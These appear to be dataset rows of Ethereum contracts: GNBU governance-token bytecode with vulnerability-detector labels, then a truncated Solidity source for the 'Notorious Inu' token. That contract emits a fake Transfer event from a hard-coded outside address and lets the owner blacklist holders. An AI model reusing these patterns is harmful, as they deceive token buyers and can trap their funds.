fffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081819054906101000a900463ffffffff166127fa90614ef5565b91906101000a81548163ffffffff021916908363ffffffff16021790559050858281518110612852577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160066000898581518110612897577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff168252818101929092526040908101600090812063ffffffff86168252909252902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff928316179055600a5461291f911642614d49565b6008600089858151811061295c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff168152602001908152602001600020819055508682815181106129f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef888581518110612aa7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604051612abc91906146ff565b60405180910390a35080612acf81614ebc565b915050612754565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60015474010000000000000000000000000000000000000000900460ff1615612b1b57600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff861415612b5857506bffffffffffffffffffffffff612b7d565b612b7a866040518060600160405280602481526020016150a7602491396136de565b90505b60408051808201909152601781527f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdedc3a41841d54a0c22d8c6d98aba038f54aa37f881e54f102160c5b828fed1c612bfe613dd4565b30604051602001612c12949392919061477a565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152918152815160209283012073ffffffffffffffffffffffffffffffffffffffff8c166000908152601090935290822080549193507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9186612ca383614ebc565b919050558b604051602001612cbd96959493929190614708565b60405160208183030381529060405280519060200120905060008282604051602001612cea929190614643565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051612d2794939291906147ab565b6020604051602081039080840390855afa158015612d49573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116612dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614aae565b8b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906148cc565b88421115612e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614c33565b84600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051612f689190614cc3565b60405180910390a3505050505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff909116600081815260066020908152604080832063ffffffff909516808452948252808320548484526007835281842086855283528184205494845260088352818420958452949091529020546bffffffffffffffffffffffff92831693919092169190565b60005473ffffffffffffffffffffffffffffffffffffffff16331461304a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60005b600b54811015613114578173ffffffffffffffffffffffffffffffffffffffff16600b82815481106130a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff161415613102576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a439061493a565b8061310c81614ebc565b91505061304d565b50600b805460018101825560009182527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8416179055600c8054916121e483614ebc565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146131e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b6000546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581169263a9059cbb9261323e9290911690869060040161469a565b602060405180830381600087803b15801561325857600080fd5b505af115801561326c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612283919061460f565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526003602090815260408083209390941682529190915220546bffffffffffffffffffffffff1690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600e60209081526000928352604080842090915290825290205463ffffffff81169064010000000090046bffffffffffffffffffffffff1682565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604081205463ffffffff1661336d575060006109f5565b60015b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602052604090205463ffffffff908116908216116136185773ffffffffffffffffffffffffffffffffffffffff8316600081815260076020908152604080832063ffffffff861680855290835281842054948452600683528184209084529091529020546bffffffffffffffffffffffff9081169116141561340f57613606565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260086020908152604080832063ffffffff8516845290915290205442101561345257613618565b600a5473ffffffffffffffffffffffffffffffffffffffff8416600090815260086020908152604080832063ffffffff8616845290915281205490916c0100000000000000000000000090046bffffffffffffffffffffffff1690613505906134bb9042614e26565b73ffffffffffffffffffffffffffffffffffffffff8716600090815260066020908152604080832063ffffffff891684529091529020546bffffffffffffffffffffffff16613d24565b61350f9190614dd3565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260066020908152604080832063ffffffff871684529091529020546bffffffffffffffffffffffff9182169250168111156135a7575073ffffffffffffffffffffffffffffffffffffffff8316600090815260066020908152604080832063ffffffff851684529091529020546bffffffffffffffffffffffff165b73ffffffffffffffffffffffffffffffffffffffff8416600090815260076020908152604080832063ffffffff861684529091529020546135f6906bffffffffffffffffffffffff1682614e26565b90506136028184614d49565b9250505b8061361081614ef5565b915050613370565b50919050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461366f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015473ffffffffffffffffffffffffffffffffffffffff8281169116141561369757600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000816c010000000000000000000000008410613728576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b509192915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061378b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b506137968385614e62565b949350505050565b73ffffffffffffffffffffffffffffffffffffffff83166137eb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906149f4565b73ffffffffffffffffffffffffffffffffffffffff8216613838576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614997565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260046020908152604091829020548251606081019093526036808452613895936bffffffffffffffffffffffff90921692859291906152af90830139613730565b73ffffffffffffffffffffffffffffffffffffffff848116600090815260046020908152604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff968716179055928616825290829020548251606081019093526030808452613927949190911692859290919061524990830139613cb3565b73ffffffffffffffffffffffffffffffffffffffff8381166000818152600460205260409081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff95909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906139be908590614cc3565b60405180910390a373ffffffffffffffffffffffffffffffffffffffff8084166000908152600d6020526040808220548584168352912054610a7c92918216911683613dd8565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260056020526040812080548290613a3d9063ffffffff16614ef5565b825463ffffffff8083166101009490940a8481029102199091161790925573ffffffffffffffffffffffffffffffffffffffff851660009081526006602090815260408083209383529290522080546bffffffffffffffffffffffff8086167fffffffffffffffffffffffffffffffffffffffff00000000000000000000000090921691909117909155600a54919250613ad8911642614d49565b73ffffffffffffffffffffffffffffffffffffffff808516600090815260086020908152604080832063ffffffff871684528252808320949094558154909216815260048252829020548251606081019093526022808452613b55936bffffffffffffffffffffffff909216928692919061514790830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff90811682526004602052604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff95909516949094179093559054915185821692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90613bf2908690614cc3565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8083166000818152600d6020818152604080842080546004845282862054949093528787167fffffffffffffffffffffffff000000000000000000000000000000000000000084168117909155905191909516946bffffffffffffffffffffffff9092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4613cad828483613dd8565b50505050565b600080613cc08486614d89565b9050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390613d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b50949350505050565b600080613d49846040518060600160405280602181526020016152e5602191396136de565b90506bffffffffffffffffffffffff8116613d6857600091505061079c565b6000613d748483614df2565b90506bffffffffffffffffffffffff8416613d8f8383614dd3565b6bffffffffffffffffffffffff1614613796576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614b1c565b4690565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613e2257506000816bffffffffffffffffffffffff16115b15610a7c5773ffffffffffffffffffffffffffffffffffffffff831615613f145773ffffffffffffffffffffffffffffffffffffffff83166000908152600f602052604081205463ffffffff169081613e7c576000613edb565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812090613ead600185614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b90506000613f02828560405180606001604052806028815260200161507f60289139613730565b9050613f1086848484613ff9565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615610a7c5773ffffffffffffffffffffffffffffffffffffffff82166000908152600f602052604081205463ffffffff169081613f69576000613fc8565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020526040812090613f9a600185614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b90506000613fef828560405180606001604052806027815260200161530660279139613cb3565b9050612589858484845b600061401d4360405180606001604052806034815260200161516960349139614295565b905060008463ffffffff16118015614084575073ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812063ffffffff831691614068600188614e3d565b63ffffffff908116825260208201929092526040016000205416145b1561411a5773ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812083916140bb600188614e3d565b63ffffffff168152602081019190915260400160002080546bffffffffffffffffffffffff92909216640100000000027fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff90921691909117905561423e565b60408051808201825263ffffffff83811682526bffffffffffffffffffffffff858116602080850191825273ffffffffffffffffffffffffffffffffffffffff8b166000908152600e82528681208b86168252909152949094209251835494517fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000009095169216919091177fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff1664010000000093909116929092029190911790556141e5846001614d61565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600f6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff929092169190911790555b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051614286929190614cdc565b60405180910390a25050505050565b6000816401000000008410613728576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b803573ffffffffffffffffffffffffffffffffffffffff811681146109f557600080fd5b600082601f83011261430b578081fd5b8135602061432061431b83614d25565b614cfb565b828152818101908583018385028701840188101561433c578586fd5b855b8581101561435a5781358452928401929084019060010161433e565b5090979650505050505050565b803560ff811681146109f557600080fd5b600060208284031215614389578081fd5b612283826142d7565b600080604083850312156143a4578081fd5b6143ad836142d7565b91506143bb602084016142d7565b90509250929050565b6000806000606084860312156143d8578081fd5b6143e1846142d7565b92506143ef602085016142d7565b9150604084013590509250925092565b600080600080600080600060e0888a031215614419578283fd5b614422886142d7565b9650614430602089016142d7565b9550604088013594506060880135935061444c60808901614367565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561447a578182fd5b614483836142d7565b9150602083013561449381614fa6565b809150509250929050565b600080604083850312156144b0578182fd5b6144b9836142d7565b946020939093013593505050565b60008060008060008060c087890312156144df578182fd5b6144e8876142d7565b9550602087013594506040870135935061450460608801614367565b92506080870135915060a087013590509295509295509295565b60008060408385031215614530578182fd5b614539836142d7565b9150602083013563ffffffff81168114614493578182fd5b60008060408385031215614563578182fd5b823567ffffffffffffffff8082111561457a578384fd5b818501915085601f83011261458d578384fd5b8135602061459d61431b83614d25565b82815281810190858301838502870184018b10156145b9578889fd5b8896505b848710156145e2576145ce816142d7565b8352600196909601959183019183016145bd565b50965050860135925050808211156145f8578283fd5b50614605858286016142fb565b9150509250929050565b600060208284031215614620578081fd5b815161228381614fa6565b60006020828403121561463c578081fd5b5035919050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9290921682526bffffffffffffffffffffffff16602082015260400190565b901515815260200190565b90815260200190565b95865273ffffffffffffffffffffffffffffffffffffffff94851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845273ffffffffffffffffffffffffffffffffffffffff9290921660208401526040830152606082015260800190565b9384526020840192909252604083015273ffffffffffffffffffffffffffffffffffffffff16606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156147f5578581018301518582016040015282016147d9565b818111156148065783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526027908201527f474e42553a3a6765745072696f72566f7465733a206e6f74207965742064657460408201527f65726d696e656400000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601a908201527f474e42553a3a7065726d69743a20756e617574686f72697a6564000000000000604082015260600190565b60208082526016908201527f474e42553a3a766573743a206e6f742076657374657200000000000000000000604082015260600190565b6020808252602f908201527f474e42553a3a757064617465537570706f7274556e69744164643a207375707060408201527f6f727420756e6974206578697374730000000000000000000000000000000000606082015260800190565b6020808252603a908201527f474e42553a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252603c908201527f474e42553a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b60208082526026908201527f474e42553a3a64656c656761746542795369673a207369676e6174757265206560408201527f7870697265640000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f474e42553a3a7065726d69743a20696e76616c6964207369676e617475726500604082015260600190565b6020808252601d908201527f474e42553a3a756e766573743a4e6f2076657374656420616d6f756e74000000604082015260600190565b60208082526023908201527f474e42553a6d756c39363a206d756c7469706c69636174696f6e206f7665726660408201527f6c6f770000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f474e42553a3a64656c656761746542795369673a20696e76616c6964206e6f6e60408201527f6365000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f474e42553a3a64656c656761746542795369673a20696e76616c69642073696760408201527f6e61747572650000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f474e42553a3a7065726d69743a207369676e6174757265206578706972656400604082015260600190565b9283526020830191909152604082015260600190565b63ffffffff91909116815260200190565b63ffffffff9290921682526bffffffffffffffffffffffff16602082015260400190565b60ff91909116815260200190565b6bffffffffffffffffffffffff91909116815260200190565b6bffffffffffffffffffffffff92831681529116602082015260400190565b60405181810167ffffffffffffffff81118282101715614d1d57614d1d614f77565b604052919050565b600067ffffffffffffffff821115614d3f57614d3f614f77565b5060209081020190565b60008219821115614d5c57614d5c614f19565b500190565b600063ffffffff808316818516808303821115614d8057614d80614f19565b01949350505050565b60006bffffffffffffffffffffffff808316818516808303821115614d8057614d80614f19565b600063ffffffff80841680614dc757614dc7614f48565b92169190910492915050565b60006bffffffffffffffffffffffff80841680614dc757614dc7614f48565b60006bffffffffffffffffffffffff80831681851681830481118215151615614e1d57614e1d614f19565b02949350505050565b600082821015614e3857614e38614f19565b500390565b600063ffffffff83811690831681811015614e5a57614e5a614f19565b039392505050565b60006bffffffffffffffffffffffff83811690831681811015614e5a57614e5a614f19565b600081614e9657614e96614f19565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614eee57614eee614f19565b5060010190565b600063ffffffff80831681811415614f0f57614f0f614f19565b6001019392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b8015158114610bcf57600080fdfe474e42553a3a756e766573743a20616c726561647920756e76657374656420616d6f756e74206578636565647320746f556e76657374474e42553a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365474e42553a3a6672656543697263756c6174696f6e3a20616d6f756e742065786365656420746f74616c537570706c79474e42553a3a6d756c7469766573743a20616d6f756e7420657863656564732039362062697473474e42553a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773474e42553a3a7065726d69743a20616d6f756e7420657863656564732039362062697473474e42553a3a62616c616e63654f663a20756e766573746564206578636565642076657374656420616d6f756e74474e42553a3a6275726e546f6b656e733a20616d6f756e7420657863656564732039362062697473474e42553a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473474e42553a3a5f766573743a2065786365656473206f776e65722062616c616e6365474e42553a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473474e42553a3a6275726e546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a3a617070726f76653a20616d6f756e7420657863656564732039362062697473474e42553a3a6672656543697263756c6174696f6e3a20616464696e67206f766572666c6f77474e42553a3a6d756c7469766573743a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773474e42553a3a6275726e546f6b656e733a207472616e7366657220616d6f756e74206578636565647320746f74616c20737570706c79474e42553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a6d756c39363a20616d6f756e7420657863656564732075696e743936474e42553a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773474e42553a3a766573743a20616d6f756e7420657863656564732039362062697473a26469706673582212200411e264d09cf94b2e62a762b827fd9c08eb09587de5a825361b0709c19f376664736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 108 |
0x3edBf8844Be3B91dab80d1b1a4b9B9651908A629 | /**
*Submitted for verification at Etherscan.io on 2021-05-29
*/
/*
(/; o
(/; o^/|\^o
(/; o_^|\/^\/|^_o
.--..-(/; o\^`'.\|/.'`^/o
| (/; \\\\\\|//////
__|====/=|__ {><><@><><} )
(____________) t.me/notoriousinu `"""""""""` (
__/o \_ _/ o\__ _ ___________ )
\____ \ / ____/ [_[___________#
/ \ / /
__ //\ \ Notorious Inu / /\\ __
__/o \-//--\ \_/ \_/ /--\\-/ o\__
\____ ___ \ | | / ___ ____/
|| \ |\ | | /| / ||
_|| _||_|| ||_||_ ||_
+--^----------,--------,-----,--------^-,
| ||||||||| `--------' | O
`+---------------------------^----------|
`\_,---------,---------,--------------'
/ XXXXXX /'| /'
/ XXXXXX / `\ /'
/ XXXXXX /`-------'
/ XXXXXX /
/ XXXXXX /
(________(
`------'
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NOTINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Notorious Inu🎩🕶💪💵🚬🖕";
string private constant _symbol = 'NOTINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 3;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4.25e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
